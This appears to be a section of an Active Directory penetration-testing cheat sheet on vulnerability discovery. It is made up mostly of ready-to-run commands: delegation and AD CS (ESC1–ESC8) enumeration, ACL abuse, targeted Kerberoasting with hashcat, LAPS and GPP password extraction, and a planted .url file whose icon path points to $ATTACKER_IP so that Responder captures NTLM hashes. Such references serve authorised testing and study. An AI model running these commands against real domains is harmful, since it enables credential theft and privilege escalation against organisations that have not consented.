04 / Vulnerability Discovery
Find exploitable misconfigurations in AD: Kerberos delegation, certificate authority vulnerabilities (ESC1–ESC8), ACL abuses, LAPS exposure and hash capture opportunities.
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --find-delegation
# Search for: AllowedToDelegate, Unconstrained, ConstrainedDelegation
# Unconstrained Delegation — service can reuse any user TGT → most dangerous # Constrained Delegation — service can only delegate to specific services # RBCD (Resource-Based Constrained) — target computer determines who can delegate
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD -M get-uncd Get-NetComputer -Unconstrained # PowerView Get-DomainComputer -Unconstrained -Properties DnsHostName # PowerView
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p
Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo Get-DomainUser -TrustedToAuth
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
| ESC | Description |
|---|---|
| ESC1 | Template allows SAN + client auth + enrollment by low-priv user |
| ESC2 | Template with Any Purpose EKU or no EKU |
| ESC3 | Certificate Request Agent template abuse |
| ESC4 | Write access on template (can be modified to ESC1) |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag |
| ESC7 | CA manager rights |
| ESC8 | NTLM relay to AD CS web enrollment |
certipy-ad find -u "$USERNAME@$DOMAIN" -p "$PASSWORD" -dc-ip $TARGET_IP -vulnerable -stdout certipy-ad find -u "$USERNAME@$DOMAIN" -p "$PASSWORD" -dc-ip $TARGET_IP -vulnerable -text
grep -iE "vulnerable|esc" certipy_output.txt
certutil -Template -v > templates.txt # convert UTF-16 → UTF-8: iconv -f UTF-16LE -t UTF-8 templates.txt -o templates_utf8.txt grep -E "Allow Enroll|Client Authentication|CT_FLAG_ENROLLEE" templates_utf8.txt
# 1. Parameter: you have enroll rights (check 'Allow Enroll' for your groups) # find your groups: net user/domain # 2. Client Authentication: EKU contains 'Client Authentication' # 3. Client specifies SAN: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 1
# Interesting rights: GenericAll, GenericWrite, WriteOwner, WriteDACL, ForceChangePassword
acltoolkit $DOMAIN/$USERNAME:'<password>'@<target> get-objectacl [-all] -object <object>
targetedKerberoast.py -d $DOMAIN -u $USERNAME -p $PASSWORD hashcat -m 13100 tgs_targeted.txt /usr/share/wordlists/rockyou.txt
nxc ldap $DC_IP -d $DOMAIN -u $USERNAME -p $PASSWORD --module laps nxc ldap $DC_IP -u $USERNAME -p $PASSWORD -M laps
Get-LAPSPasswords -DomainController $DC_IP -Credential $DOMAIN\$USERNAME | Format-Table -AutoSize
MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) RETURN p
use post/windows/gather/credentials/enum_laps run
[InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\$ATTACKER_IP\%USERNAME%.icon IconIndex=1
smbclient //$TARGET_IP/share put @link.url # exit smb, then: responder -I eth0 -v
# Via Metasploit: use auxiliary/scanner/smb/smb_enum_gpp set RHOSTS $TARGET_IP set SMBUser $USERNAME set SMBPass $PASSWORD run # Via smbclient — groups.xml is usually in SYSVOL: smbclient //$TARGET_IP/SYSVOL -N prompt off recurse on mget * grep -r "cpassword" . gpp-decrypt 'CPASSWORD_VALUE' # Via NXC: nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD -M gpp_password nxc smb $TARGET_IP -u $USERNAME -p $PASSWORD -M gpp_autologin